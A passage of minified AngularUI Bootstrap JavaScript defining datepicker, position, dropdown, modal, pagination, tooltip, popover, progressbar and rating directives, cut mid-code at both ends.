j,k={year:1900,month:0,date:1,hours:0},l=1,m=i.length;m>l;l++){var n=h[l-1];n.apply&&n.apply.call(k,i[l])}return d(k.year,k.month,k.date)&&(j=new Date(k.year,k.month,k.date,k.hours)),j}}}]),angular.module("ui.bootstrap.position",[]).factory("$position",["$document","$window",function(a,b){function c(a,c){return a.currentStyle?a.currentStyle[c]:b.getComputedStyle?b.getComputedStyle(a)[c]:a.style[c]}function d(a){return"static"===(c(a,"position")||"static")}var e=function(b){for(var c=a[0],e=b.offsetParent||c;e&&e!==c&&d(e);)e=e.offsetParent;return e||c};return{position:function(b){var c=this.offset(b),d={top:0,left:0},f=e(b[0]);f!=a[0]&&(d=this.offset(angular.element(f)),d.top+=f.clientTop-f.scrollTop,d.left+=f.clientLeft-f.scrollLeft);var g=b[0].getBoundingClientRect();return{width:g.width||b.prop("offsetWidth"),height:g.height||b.prop("offsetHeight"),top:c.top-d.top,left:c.left-d.left}},offset:function(c){var d=c[0].getBoundingClientRect();return{width:d.width||c.prop("offsetWidth"),height:d.height||c.prop("offsetHeight"),top:d.top+(b.pageYOffset||a[0].documentElement.scrollTop),left:d.left+(b.pageXOffset||a[0].documentElement.scrollLeft)}},positionElements:function(a,b,c,d){var e,f,g,h,i=c.split("-"),j=i[0],k=i[1]||"center";e=d?this.offset(a):this.position(a),f=b.prop("offsetWidth"),g=b.prop("offsetHeight");var l={center:function(){return e.left+e.width/2-f/2},left:function(){return e.left},right:function(){return e.left+e.width}},m={center:function(){return e.top+e.height/2-g/2},top:function(){return e.top},bottom:function(){return e.top+e.height}};switch(j){case"right":h={top:m[k](),left:l[j]()};break;case"left":h={top:m[k](),left:e.left-f};break;case"bottom":h={top:m[j](),left:l[k]()};break;default:h={top:e.top-g,left:l[k]()}}return h}}}]),angular.module("ui.bootstrap.datepicker",["ui.bootstrap.dateparser","ui.bootstrap.position"]).constant("datepickerConfig",{formatDay:"dd",formatMonth:"MMMM",formatYear:"yyyy",formatDayHeader:"EEE",formatDayTitle:"MMMM yyyy",formatMonthTitle:"yyyy",datepickerMode:"day",minMode:"day",maxMode:"year",showWeeks:!0,startingDay:0,yearRange:20,minDate:null,maxDate:null}).controller("DatepickerController",["$scope","$attrs","$parse","$interpolate","$timeout","$log","dateFilter","datepickerConfig",function(a,b,c,d,e,f,g,h){var i=this,j={$setViewValue:angular.noop};this.modes=["day","month","year"],angular.forEach(["formatDay","formatMonth","formatYear","formatDayHeader","formatDayTitle","formatMonthTitle","minMode","maxMode","showWeeks","startingDay","yearRange"],function(c,e){i[c]=angular.isDefined(b[c])?8>e?d(b[c])(a.$parent):a.$parent.$eval(b[c]):h[c]}),angular.forEach(["minDate","maxDate"],function(d){b[d]?a.$parent.$watch(c(b[d]),function(a){i[d]=a?new Date(a):null,i.refreshView()}):i[d]=h[d]?new Date(h[d]):null}),a.datepickerMode=a.datepickerMode||h.datepickerMode,a.uniqueId="datepicker-"+a.$id+"-"+Math.floor(1e4*Math.random()),this.activeDate=angular.isDefined(b.initDate)?a.$parent.$eval(b.initDate):new Date,a.isActive=function(b){return 0===i.compare(b.date,i.activeDate)?(a.activeDateId=b.uid,!0):!1},this.init=function(a){j=a,j.$render=function(){i.render()}},this.render=function(){if(j.$modelValue){var a=new Date(j.$modelValue),b=!isNaN(a);b?this.activeDate=a:f.error('Datepicker directive: "ng-model" value must be a Date object, a number of milliseconds since 01.01.1970 or a string representing an RFC2822 or ISO 8601 date.'),j.$setValidity("date",b)}this.refreshView()},this.refreshView=function(){if(this.element){this._refreshView();var a=j.$modelValue?new Date(j.$modelValue):null;j.$setValidity("date-disabled",!a||this.element&&!this.isDisabled(a))}},this.createDateObject=function(a,b){var c=j.$modelValue?new Date(j.$modelValue):null;return{date:a,label:g(a,b),selected:c&&0===this.compare(a,c),disabled:this.isDisabled(a),current:0===this.compare(a,new Date)}},this.isDisabled=function(c){return this.minDate&&this.compare(c,this.minDate)<0||this.maxDate&&this.compare(c,this.maxDate)>0||b.dateDisabled&&a.dateDisabled({date:c,mode:a.datepickerMode})},this.split=function(a,b){for(var c=[];a.length>0;)c.push(a.splice(0,b));return c},a.select=function(b){if(a.datepickerMode===i.minMode){var c=j.$modelValue?new Date(j.$modelValue):new Date(0,0,0,0,0,0,0);c.setFullYear(b.getFullYear(),b.getMonth(),b.getDate()),j.$setViewValue(c),j.$render()}else i.activeDate=b,a.datepickerMode=i.modes[i.modes.indexOf(a.datepickerMode)-1]},a.move=function(a){var b=i.activeDate.getFullYear()+a*(i.step.years||0),c=i.activeDate.getMonth()+a*(i.step.months||0);i.activeDate.setFullYear(b,c,1),i.refreshView()},a.toggleMode=function(b){b=b||1,a.datepickerMode===i.maxMode&&1===b||a.datepickerMode===i.minMode&&-1===b||(a.datepickerMode=i.modes[i.modes.indexOf(a.datepickerMode)+b])},a.keys={13:"enter",32:"space",33:"pageup",34:"pagedown",35:"end",36:"home",37:"left",38:"up",39:"right",40:"down"};var k=function(){e(function(){i.element[0].focus()},0,!1)};a.$on("datepicker.focus",k),a.keydown=function(b){var c=a.keys[b.which];if(c&&!b.shiftKey&&!b.altKey)if(b.preventDefault(),b.stopPropagation(),"enter"===c||"space"===c){if(i.isDisabled(i.activeDate))return;a.select(i.activeDate),k()}else!b.ctrlKey||"up"!==c&&"down"!==c?(i.handleKeyDown(c,b),i.refreshView()):(a.toggleMode("up"===c?1:-1),k())}}]).directive("datepicker",function(){return{restrict:"EA",replace:!0,templateUrl:"template/datepicker/datepicker.html",scope:{datepickerMode:"=?",dateDisabled:"&"},require:["datepicker","?^ngModel"],controller:"DatepickerController",link:function(a,b,c,d){var e=d[0],f=d[1];f&&e.init(f)}}}).directive("daypicker",["dateFilter",function(a){return{restrict:"EA",replace:!0,templateUrl:"template/datepicker/day.html",require:"^datepicker",link:function(b,c,d,e){function f(a,b){return 1!==b||a%4!==0||a%100===0&&a%400!==0?i[b]:29}function g(a,b){var c=new Array(b),d=new Date(a),e=0;for(d.setHours(12);b>e;)c[e++]=new Date(d),d.setDate(d.getDate()+1);return c}function h(a){var b=new Date(a);b.setDate(b.getDate()+4-(b.getDay()||7));var c=b.getTime();return b.setMonth(0),b.setDate(1),Math.floor(Math.round((c-b)/864e5)/7)+1}b.showWeeks=e.showWeeks,e.step={months:1},e.element=c;var i=[31,28,31,30,31,30,31,31,30,31,30,31];e._refreshView=function(){var c=e.activeDate.getFullYear(),d=e.activeDate.getMonth(),f=new Date(c,d,1),i=e.startingDay-f.getDay(),j=i>0?7-i:-i,k=new Date(f);j>0&&k.setDate(-j+1);for(var l=g(k,42),m=0;42>m;m++)l[m]=angular.extend(e.createDateObject(l[m],e.formatDay),{secondary:l[m].getMonth()!==d,uid:b.uniqueId+"-"+m});b.labels=new Array(7);for(var n=0;7>n;n++)b.labels[n]={abbr:a(l[n].date,e.formatDayHeader),full:a(l[n].date,"EEEE")};if(b.title=a(e.activeDate,e.formatDayTitle),b.rows=e.split(l,7),b.showWeeks){b.weekNumbers=[];for(var o=h(b.rows[0][0].date),p=b.rows.length;b.weekNumbers.push(o++)<p;);}},e.compare=function(a,b){return new Date(a.getFullYear(),a.getMonth(),a.getDate())-new Date(b.getFullYear(),b.getMonth(),b.getDate())},e.handleKeyDown=function(a){var b=e.activeDate.getDate();if("left"===a)b-=1;else if("up"===a)b-=7;else if("right"===a)b+=1;else if("down"===a)b+=7;else if("pageup"===a||"pagedown"===a){var c=e.activeDate.getMonth()+("pageup"===a?-1:1);e.activeDate.setMonth(c,1),b=Math.min(f(e.activeDate.getFullYear(),e.activeDate.getMonth()),b)}else"home"===a?b=1:"end"===a&&(b=f(e.activeDate.getFullYear(),e.activeDate.getMonth()));e.activeDate.setDate(b)},e.refreshView()}}}]).directive("monthpicker",["dateFilter",function(a){return{restrict:"EA",replace:!0,templateUrl:"template/datepicker/month.html",require:"^datepicker",link:function(b,c,d,e){e.step={years:1},e.element=c,e._refreshView=function(){for(var c=new Array(12),d=e.activeDate.getFullYear(),f=0;12>f;f++)c[f]=angular.extend(e.createDateObject(new Date(d,f,1),e.formatMonth),{uid:b.uniqueId+"-"+f});b.title=a(e.activeDate,e.formatMonthTitle),b.rows=e.split(c,3)},e.compare=function(a,b){return new Date(a.getFullYear(),a.getMonth())-new Date(b.getFullYear(),b.getMonth())},e.handleKeyDown=function(a){var b=e.activeDate.getMonth();if("left"===a)b-=1;else if("up"===a)b-=3;else if("right"===a)b+=1;else if("down"===a)b+=3;else if("pageup"===a||"pagedown"===a){var c=e.activeDate.getFullYear()+("pageup"===a?-1:1);e.activeDate.setFullYear(c)}else"home"===a?b=0:"end"===a&&(b=11);e.activeDate.setMonth(b)},e.refreshView()}}}]).directive("yearpicker",["dateFilter",function(){return{restrict:"EA",replace:!0,templateUrl:"template/datepicker/year.html",require:"^datepicker",link:function(a,b,c,d){function e(a){return parseInt((a-1)/f,10)*f+1}var f=d.yearRange;d.step={years:f},d.element=b,d._refreshView=function(){for(var b=new Array(f),c=0,g=e(d.activeDate.getFullYear());f>c;c++)b[c]=angular.extend(d.createDateObject(new Date(g+c,0,1),d.formatYear),{uid:a.uniqueId+"-"+c});a.title=[b[0].label,b[f-1].label].join(" - "),a.rows=d.split(b,5)},d.compare=function(a,b){return a.getFullYear()-b.getFullYear()},d.handleKeyDown=function(a){var b=d.activeDate.getFullYear();"left"===a?b-=1:"up"===a?b-=5:"right"===a?b+=1:"down"===a?b+=5:"pageup"===a||"pagedown"===a?b+=("pageup"===a?-1:1)*d.step.years:"home"===a?b=e(d.activeDate.getFullYear()):"end"===a&&(b=e(d.activeDate.getFullYear())+f-1),d.activeDate.setFullYear(b)},d.refreshView()}}}]).constant("datepickerPopupConfig",{datepickerPopup:"yyyy-MM-dd",currentText:"Today",clearText:"Clear",closeText:"Done",closeOnDateSelection:!0,appendToBody:!1,showButtonBar:!0}).directive("datepickerPopup",["$compile","$parse","$document","$position","dateFilter","dateParser","datepickerPopupConfig",function(a,b,c,d,e,f,g){return{restrict:"EA",require:"ngModel",scope:{isOpen:"=?",currentText:"@",clearText:"@",closeText:"@",dateDisabled:"&"},link:function(h,i,j,k){function l(a){return a.replace(/([A-Z])/g,function(a){return"-"+a.toLowerCase()})}function m(a){if(a){if(angular.isDate(a)&&!isNaN(a))return k.$setValidity("date",!0),a;if(angular.isString(a)){var b=f.parse(a,n)||new Date(a);return isNaN(b)?void k.$setValidity("date",!1):(k.$setValidity("date",!0),b)}return void k.$setValidity("date",!1)}return k.$setValidity("date",!0),null}var n,o=angular.isDefined(j.closeOnDateSelection)?h.$parent.$eval(j.closeOnDateSelection):g.closeOnDateSelection,p=angular.isDefined(j.datepickerAppendToBody)?h.$parent.$eval(j.datepickerAppendToBody):g.appendToBody;h.showButtonBar=angular.isDefined(j.showButtonBar)?h.$parent.$eval(j.showButtonBar):g.showButtonBar,h.getText=function(a){return h[a+"Text"]||g[a+"Text"]},j.$observe("datepickerPopup",function(a){n=a||g.datepickerPopup,k.$render()});var q=angular.element("<div datepicker-popup-wrap><div datepicker></div></div>");q.attr({"ng-model":"date","ng-change":"dateSelection()"});var r=angular.element(q.children()[0]);j.datepickerOptions&&angular.forEach(h.$parent.$eval(j.datepickerOptions),function(a,b){r.attr(l(b),a)}),h.watchData={},angular.forEach(["minDate","maxDate","datepickerMode"],function(a){if(j[a]){var c=b(j[a]);if(h.$parent.$watch(c,function(b){h.watchData[a]=b}),r.attr(l(a),"watchData."+a),"datepickerMode"===a){var d=c.assign;h.$watch("watchData."+a,function(a,b){a!==b&&d(h.$parent,a)})}}}),j.dateDisabled&&r.attr("date-disabled","dateDisabled({ date: date, mode: mode })"),k.$parsers.unshift(m),h.dateSelection=function(a){angular.isDefined(a)&&(h.date=a),k.$setViewValue(h.date),k.$render(),o&&(h.isOpen=!1,i[0].focus())},i.bind("input change keyup",function(){h.$apply(function(){h.date=k.$modelValue})}),k.$render=function(){var a=k.$viewValue?e(k.$viewValue,n):"";i.val(a),h.date=m(k.$modelValue)};var s=function(a){h.isOpen&&a.target!==i[0]&&h.$apply(function(){h.isOpen=!1})},t=function(a){h.keydown(a)};i.bind("keydown",t),h.keydown=function(a){27===a.which?(a.preventDefault(),a.stopPropagation(),h.close()):40!==a.which||h.isOpen||(h.isOpen=!0)},h.$watch("isOpen",function(a){a?(h.$broadcast("datepicker.focus"),h.position=p?d.offset(i):d.position(i),h.position.top=h.position.top+i.prop("offsetHeight"),c.bind("click",s)):c.unbind("click",s)}),h.select=function(a){if("today"===a){var b=new Date;angular.isDate(k.$modelValue)?(a=new Date(k.$modelValue),a.setFullYear(b.getFullYear(),b.getMonth(),b.getDate())):a=new Date(b.setHours(0,0,0,0))}h.dateSelection(a)},h.close=function(){h.isOpen=!1,i[0].focus()};var u=a(q)(h);q.remove(),p?c.find("body").append(u):i.after(u),h.$on("$destroy",function(){u.remove(),i.unbind("keydown",t),c.unbind("click",s)})}}}]).directive("datepickerPopupWrap",function(){return{restrict:"EA",replace:!0,transclude:!0,templateUrl:"template/datepicker/popup.html",link:function(a,b){b.bind("click",function(a){a.preventDefault(),a.stopPropagation()})}}}),angular.module("ui.bootstrap.dropdown",[]).constant("dropdownConfig",{openClass:"open"}).service("dropdownService",["$document",function(a){var b=null;this.open=function(e){b||(a.bind("click",c),a.bind("keydown",d)),b&&b!==e&&(b.isOpen=!1),b=e},this.close=function(e){b===e&&(b=null,a.unbind("click",c),a.unbind("keydown",d))};var c=function(a){var c=b.getToggleElement();a&&c&&c[0].contains(a.target)||b.$apply(function(){b.isOpen=!1})},d=function(a){27===a.which&&(b.focusToggleElement(),c())}}]).controller("DropdownController",["$scope","$attrs","$parse","dropdownConfig","dropdownService","$animate",function(a,b,c,d,e,f){var g,h=this,i=a.$new(),j=d.openClass,k=angular.noop,l=b.onToggle?c(b.onToggle):angular.noop;this.init=function(d){h.$element=d,b.isOpen&&(g=c(b.isOpen),k=g.assign,a.$watch(g,function(a){i.isOpen=!!a}))},this.toggle=function(a){return i.isOpen=arguments.length?!!a:!i.isOpen},this.isOpen=function(){return i.isOpen},i.getToggleElement=function(){return h.toggleElement},i.focusToggleElement=function(){h.toggleElement&&h.toggleElement[0].focus()},i.$watch("isOpen",function(b,c){f[b?"addClass":"removeClass"](h.$element,j),b?(i.focusToggleElement(),e.open(i)):e.close(i),k(a,b),angular.isDefined(b)&&b!==c&&l(a,{open:!!b})}),a.$on("$locationChangeSuccess",function(){i.isOpen=!1}),a.$on("$destroy",function(){i.$destroy()})}]).directive("dropdown",function(){return{restrict:"CA",controller:"DropdownController",link:function(a,b,c,d){d.init(b)}}}).directive("dropdownToggle",function(){return{restrict:"CA",require:"?^dropdown",link:function(a,b,c,d){if(d){d.toggleElement=b;var e=function(e){e.preventDefault(),b.hasClass("disabled")||c.disabled||a.$apply(function(){d.toggle()})};b.bind("click",e),b.attr({"aria-haspopup":!0,"aria-expanded":!1}),a.$watch(d.isOpen,function(a){b.attr("aria-expanded",!!a)}),a.$on("$destroy",function(){b.unbind("click",e)})}}}}),angular.module("ui.bootstrap.modal",["ui.bootstrap.transition"]).factory("$$stackedMap",function(){return{createNew:function(){var a=[];return{add:function(b,c){a.push({key:b,value:c})},get:function(b){for(var c=0;c<a.length;c++)if(b==a[c].key)return a[c]},keys:function(){for(var b=[],c=0;c<a.length;c++)b.push(a[c].key);return b},top:function(){return a[a.length-1]},remove:function(b){for(var c=-1,d=0;d<a.length;d++)if(b==a[d].key){c=d;break}return a.splice(c,1)[0]},removeTop:function(){return a.splice(a.length-1,1)[0]},length:function(){return a.length}}}}}).directive("modalBackdrop",["$timeout",function(a){return{restrict:"EA",replace:!0,templateUrl:"template/modal/backdrop.html",link:function(b,c,d){b.backdropClass=d.backdropClass||"",b.animate=!1,a(function(){b.animate=!0})}}}]).directive("modalWindow",["$modalStack","$timeout",function(a,b){return{restrict:"EA",scope:{index:"@",animate:"="},replace:!0,transclude:!0,templateUrl:function(a,b){return b.templateUrl||"template/modal/window.html"},link:function(c,d,e){d.addClass(e.windowClass||""),c.size=e.size,b(function(){c.animate=!0,d[0].querySelectorAll("[autofocus]").length||d[0].focus()}),c.close=function(b){var c=a.getTop();c&&c.value.backdrop&&"static"!=c.value.backdrop&&b.target===b.currentTarget&&(b.preventDefault(),b.stopPropagation(),a.dismiss(c.key,"backdrop click"))}}}}]).directive("modalTransclude",function(){return{link:function(a,b,c,d,e){e(a.$parent,function(a){b.empty(),b.append(a)})}}}).factory("$modalStack",["$transition","$timeout","$document","$compile","$rootScope","$$stackedMap",function(a,b,c,d,e,f){function g(){for(var a=-1,b=n.keys(),c=0;c<b.length;c++)n.get(b[c]).value.backdrop&&(a=c);return a}function h(a){var b=c.find("body").eq(0),d=n.get(a).value;n.remove(a),j(d.modalDomEl,d.modalScope,300,function(){d.modalScope.$destroy(),b.toggleClass(m,n.length()>0),i()})}function i(){if(k&&-1==g()){var a=l;j(k,l,150,function(){a.$destroy(),a=null}),k=void 0,l=void 0}}function j(c,d,e,f){function g(){g.done||(g.done=!0,c.remove(),f&&f())}d.animate=!1;var h=a.transitionEndEventName;if(h){var i=b(g,e);c.bind(h,function(){b.cancel(i),g(),d.$apply()})}else b(g)}var k,l,m="modal-open",n=f.createNew(),o={};return e.$watch(g,function(a){l&&(l.index=a)}),c.bind("keydown",function(a){var b;27===a.which&&(b=n.top(),b&&b.value.keyboard&&(a.preventDefault(),e.$apply(function(){o.dismiss(b.key,"escape key press")})))}),o.open=function(a,b){n.add(a,{deferred:b.deferred,modalScope:b.scope,backdrop:b.backdrop,keyboard:b.keyboard});var f=c.find("body").eq(0),h=g();if(h>=0&&!k){l=e.$new(!0),l.index=h;var i=angular.element("<div modal-backdrop></div>");i.attr("backdrop-class",b.backdropClass),k=d(i)(l),f.append(k)}var j=angular.element("<div modal-window></div>");j.attr({"template-url":b.windowTemplateUrl,"window-class":b.windowClass,size:b.size,index:n.length()-1,animate:"animate"}).html(b.content);var o=d(j)(b.scope);n.top().value.modalDomEl=o,f.append(o),f.addClass(m)},o.close=function(a,b){var c=n.get(a);c&&(c.value.deferred.resolve(b),h(a))},o.dismiss=function(a,b){var c=n.get(a);c&&(c.value.deferred.reject(b),h(a))},o.dismissAll=function(a){for(var b=this.getTop();b;)this.dismiss(b.key,a),b=this.getTop()},o.getTop=function(){return n.top()},o}]).provider("$modal",function(){var a={options:{backdrop:!0,keyboard:!0},$get:["$injector","$rootScope","$q","$http","$templateCache","$controller","$modalStack",function(b,c,d,e,f,g,h){function i(a){return a.template?d.when(a.template):e.get(angular.isFunction(a.templateUrl)?a.templateUrl():a.templateUrl,{cache:f}).then(function(a){return a.data})}function j(a){var c=[];return angular.forEach(a,function(a){(angular.isFunction(a)||angular.isArray(a))&&c.push(d.when(b.invoke(a)))}),c}var k={};return k.open=function(b){var e=d.defer(),f=d.defer(),k={result:e.promise,opened:f.promise,close:function(a){h.close(k,a)},dismiss:function(a){h.dismiss(k,a)}};if(b=angular.extend({},a.options,b),b.resolve=b.resolve||{},!b.template&&!b.templateUrl)throw new Error("One of template or templateUrl options is required.");var l=d.all([i(b)].concat(j(b.resolve)));return l.then(function(a){var d=(b.scope||c).$new();d.$close=k.close,d.$dismiss=k.dismiss;var f,i={},j=1;b.controller&&(i.$scope=d,i.$modalInstance=k,angular.forEach(b.resolve,function(b,c){i[c]=a[j++]}),f=g(b.controller,i),b.controllerAs&&(d[b.controllerAs]=f)),h.open(k,{scope:d,deferred:e,content:a[0],backdrop:b.backdrop,keyboard:b.keyboard,backdropClass:b.backdropClass,windowClass:b.windowClass,windowTemplateUrl:b.windowTemplateUrl,size:b.size})},function(a){e.reject(a)}),l.then(function(){f.resolve(!0)},function(){f.reject(!1)}),k},k}]};return a}),angular.module("ui.bootstrap.pagination",[]).controller("PaginationController",["$scope","$attrs","$parse",function(a,b,c){var d=this,e={$setViewValue:angular.noop},f=b.numPages?c(b.numPages).assign:angular.noop;this.init=function(f,g){e=f,this.config=g,e.$render=function(){d.render()},b.itemsPerPage?a.$parent.$watch(c(b.itemsPerPage),function(b){d.itemsPerPage=parseInt(b,10),a.totalPages=d.calculateTotalPages()}):this.itemsPerPage=g.itemsPerPage},this.calculateTotalPages=function(){var b=this.itemsPerPage<1?1:Math.ceil(a.totalItems/this.itemsPerPage);return Math.max(b||0,1)},this.render=function(){a.page=parseInt(e.$viewValue,10)||1},a.selectPage=function(b){a.page!==b&&b>0&&b<=a.totalPages&&(e.$setViewValue(b),e.$render())},a.getText=function(b){return a[b+"Text"]||d.config[b+"Text"]},a.noPrevious=function(){return 1===a.page},a.noNext=function(){return a.page===a.totalPages},a.$watch("totalItems",function(){a.totalPages=d.calculateTotalPages()}),a.$watch("totalPages",function(b){f(a.$parent,b),a.page>b?a.selectPage(b):e.$render()})}]).constant("paginationConfig",{itemsPerPage:10,boundaryLinks:!1,directionLinks:!0,firstText:"First",previousText:"Previous",nextText:"Next",lastText:"Last",rotate:!0}).directive("pagination",["$parse","paginationConfig",function(a,b){return{restrict:"EA",scope:{totalItems:"=",firstText:"@",previousText:"@",nextText:"@",lastText:"@"},require:["pagination","?ngModel"],controller:"PaginationController",templateUrl:"template/pagination/pagination.html",replace:!0,link:function(c,d,e,f){function g(a,b,c){return{number:a,text:b,active:c}}function h(a,b){var c=[],d=1,e=b,f=angular.isDefined(k)&&b>k;f&&(l?(d=Math.max(a-Math.floor(k/2),1),e=d+k-1,e>b&&(e=b,d=e-k+1)):(d=(Math.ceil(a/k)-1)*k+1,e=Math.min(d+k-1,b)));for(var h=d;e>=h;h++){var i=g(h,h,h===a);c.push(i)}if(f&&!l){if(d>1){var j=g(d-1,"...",!1);c.unshift(j)}if(b>e){var m=g(e+1,"...",!1);c.push(m)}}return c}var i=f[0],j=f[1];if(j){var k=angular.isDefined(e.maxSize)?c.$parent.$eval(e.maxSize):b.maxSize,l=angular.isDefined(e.rotate)?c.$parent.$eval(e.rotate):b.rotate;c.boundaryLinks=angular.isDefined(e.boundaryLinks)?c.$parent.$eval(e.boundaryLinks):b.boundaryLinks,c.directionLinks=angular.isDefined(e.directionLinks)?c.$parent.$eval(e.directionLinks):b.directionLinks,i.init(j,b),e.maxSize&&c.$parent.$watch(a(e.maxSize),function(a){k=parseInt(a,10),i.render()
8 });var m=i.render;i.render=function(){m(),c.page>0&&c.page<=c.totalPages&&(c.pages=h(c.page,c.totalPages))}}}}}]).constant("pagerConfig",{itemsPerPage:10,previousText:"« Previous",nextText:"Next »",align:!0}).directive("pager",["pagerConfig",function(a){return{restrict:"EA",scope:{totalItems:"=",previousText:"@",nextText:"@"},require:["pager","?ngModel"],controller:"PaginationController",templateUrl:"template/pagination/pager.html",replace:!0,link:function(b,c,d,e){var f=e[0],g=e[1];g&&(b.align=angular.isDefined(d.align)?b.$parent.$eval(d.align):a.align,f.init(g,a))}}}]),angular.module("ui.bootstrap.tooltip",["ui.bootstrap.position","ui.bootstrap.bindHtml"]).provider("$tooltip",function(){function a(a){var b=/[A-Z]/g,c="-";return a.replace(b,function(a,b){return(b?c:"")+a.toLowerCase()})}var b={placement:"top",animation:!0,popupDelay:0},c={mouseenter:"mouseleave",click:"click",focus:"blur"},d={};this.options=function(a){angular.extend(d,a)},this.setTriggers=function(a){angular.extend(c,a)},this.$get=["$window","$compile","$timeout","$parse","$document","$position","$interpolate",function(e,f,g,h,i,j,k){return function(e,l,m){function n(a){var b=a||o.trigger||m,d=c[b]||b;return{show:b,hide:d}}var o=angular.extend({},b,d),p=a(e),q=k.startSymbol(),r=k.endSymbol(),s="<div "+p+'-popup title="'+q+"tt_title"+r+'" content="'+q+"tt_content"+r+'" placement="'+q+"tt_placement"+r+'" animation="tt_animation" is-open="tt_isOpen"></div>';return{restrict:"EA",scope:!0,compile:function(){var a=f(s);return function(b,c,d){function f(){b.tt_isOpen?m():k()}function k(){(!y||b.$eval(d[l+"Enable"]))&&(b.tt_popupDelay?v||(v=g(p,b.tt_popupDelay,!1),v.then(function(a){a()})):p()())}function m(){b.$apply(function(){q()})}function p(){return v=null,u&&(g.cancel(u),u=null),b.tt_content?(r(),t.css({top:0,left:0,display:"block"}),w?i.find("body").append(t):c.after(t),z(),b.tt_isOpen=!0,b.$digest(),z):angular.noop}function q(){b.tt_isOpen=!1,g.cancel(v),v=null,b.tt_animation?u||(u=g(s,500)):s()}function r(){t&&s(),t=a(b,function(){}),b.$digest()}function s(){u=null,t&&(t.remove(),t=null)}var t,u,v,w=angular.isDefined(o.appendToBody)?o.appendToBody:!1,x=n(void 0),y=angular.isDefined(d[l+"Enable"]),z=function(){var a=j.positionElements(c,t,b.tt_placement,w);a.top+="px",a.left+="px",t.css(a)};b.tt_isOpen=!1,d.$observe(e,function(a){b.tt_content=a,!a&&b.tt_isOpen&&q()}),d.$observe(l+"Title",function(a){b.tt_title=a}),d.$observe(l+"Placement",function(a){b.tt_placement=angular.isDefined(a)?a:o.placement}),d.$observe(l+"PopupDelay",function(a){var c=parseInt(a,10);b.tt_popupDelay=isNaN(c)?o.popupDelay:c});var A=function(){c.unbind(x.show,k),c.unbind(x.hide,m)};d.$observe(l+"Trigger",function(a){A(),x=n(a),x.show===x.hide?c.bind(x.show,f):(c.bind(x.show,k),c.bind(x.hide,m))});var B=b.$eval(d[l+"Animation"]);b.tt_animation=angular.isDefined(B)?!!B:o.animation,d.$observe(l+"AppendToBody",function(a){w=angular.isDefined(a)?h(a)(b):w}),w&&b.$on("$locationChangeSuccess",function(){b.tt_isOpen&&q()}),b.$on("$destroy",function(){g.cancel(u),g.cancel(v),A(),s()})}}}}}]}).directive("tooltipPopup",function(){return{restrict:"EA",replace:!0,scope:{content:"@",placement:"@",animation:"&",isOpen:"&"},templateUrl:"template/tooltip/tooltip-popup.html"}}).directive("tooltip",["$tooltip",function(a){return a("tooltip","tooltip","mouseenter")}]).directive("tooltipHtmlUnsafePopup",function(){return{restrict:"EA",replace:!0,scope:{content:"@",placement:"@",animation:"&",isOpen:"&"},templateUrl:"template/tooltip/tooltip-html-unsafe-popup.html"}}).directive("tooltipHtmlUnsafe",["$tooltip",function(a){return a("tooltipHtmlUnsafe","tooltip","mouseenter")}]),angular.module("ui.bootstrap.popover",["ui.bootstrap.tooltip"]).directive("popoverPopup",function(){return{restrict:"EA",replace:!0,scope:{title:"@",content:"@",placement:"@",animation:"&",isOpen:"&"},templateUrl:"template/popover/popover.html"}}).directive("popover",["$tooltip",function(a){return a("popover","popover","click")}]),angular.module("ui.bootstrap.progressbar",[]).constant("progressConfig",{animate:!0,max:100}).controller("ProgressController",["$scope","$attrs","progressConfig",function(a,b,c){var d=this,e=angular.isDefined(b.animate)?a.$parent.$eval(b.animate):c.animate;this.bars=[],a.max=angular.isDefined(b.max)?a.$parent.$eval(b.max):c.max,this.addBar=function(b,c){e||c.css({transition:"none"}),this.bars.push(b),b.$watch("value",function(c){b.percent=+(100*c/a.max).toFixed(2)}),b.$on("$destroy",function(){c=null,d.removeBar(b)})},this.removeBar=function(a){this.bars.splice(this.bars.indexOf(a),1)}}]).directive("progress",function(){return{restrict:"EA",replace:!0,transclude:!0,controller:"ProgressController",require:"progress",scope:{},templateUrl:"template/progressbar/progress.html"}}).directive("bar",function(){return{restrict:"EA",replace:!0,transclude:!0,require:"^progress",scope:{value:"=",type:"@"},templateUrl:"template/progressbar/bar.html",link:function(a,b,c,d){d.addBar(a,b)}}}).directive("progressbar",function(){return{restrict:"EA",replace:!0,transclude:!0,controller:"ProgressController",scope:{value:"=",type:"@"},templateUrl:"template/progressbar/progressbar.html",link:function(a,b,c,d){d.addBar(a,angular.element(b.children()[0]))}}}),angular.module("ui.bootstrap.rating",[]).constant("ratingConfig",{max:5,stateOn:null,stateOff:null}).controller("RatingController",["$scope","$attrs","ratingConfig",function(a,b,c){var d={$setViewValue:angular.noop};this.init=function(e){d=e,d.$render=this.render,this.stateOn=angular.isDefined(b.stateOn)?a.$parent.$eval(b.stateOn):c.stateOn,this.stateOff=angular.isDefined(b.stateOff)?a.$parent.$eval(b.stateOff):c.stateOff;var f=angular.isDefined(b.ratingStates)?a.$parent.$eval(b.ratingStates):new Array(angular.isDefined(b.max)?a.$parent.$eval(b.max):c.max);a.range=this.buildTemplateObjects(f)},this.buildTemplateObjects=function(a){for(var b=0,c=a.length;c>b;b++)a[b]=angular.extend({index:b},{stateOn:this.stateOn,stateOff:this.stateOff},a[b]);return a},a.rate=function(b){!a.readonly&&b>=0&&b<=a.range.length&&(d.$setViewValue(b),d.$render())},a.enter=function(b){a.readonly||(a.value=b),a.onHover({value:b})},a.reset=function(){a.value=d.$viewValue,a.onLeave()},a.onKeydown=function(b){/(37|38|39|40)/.test(b.which)&&(b.preventDefault(),b.stopPropagation(),a.rate(a.value+(38===b.which||39===b.which?1:-1)))},this.render=function(){a.value=d.$viewValue}}]).directive("rating",function(){return{restrict:"EA",require:["rating","ngModel"],scope:{readonly:"=?",onHover:"&",onLeave:"&"},controller:"RatingController",templateUrl:"template/rating/rating.html",replace:!0,link:function(a,b,c,d){var e=d[0],f=d[1];f&&e.init(f)}}}),angular.module("ui.bootstrap.tabs",[]).controller("TabsetController",["$scope",function(a){var b=this,c=b.tabs=a.tabs=[];b.select=function(a){angular.forEach(c,function(b){b.active&&b!==a&&(b.active=!1,b.onDeselect())}),a.active=!0,a.onSelect()},b.addTab=function(a){c.push(a),1===c.length?a.active=!0:a.active&&b.select(a)},b.removeTab=function(a){var d=c.indexOf(a);if(a.active&&c.length>1){var 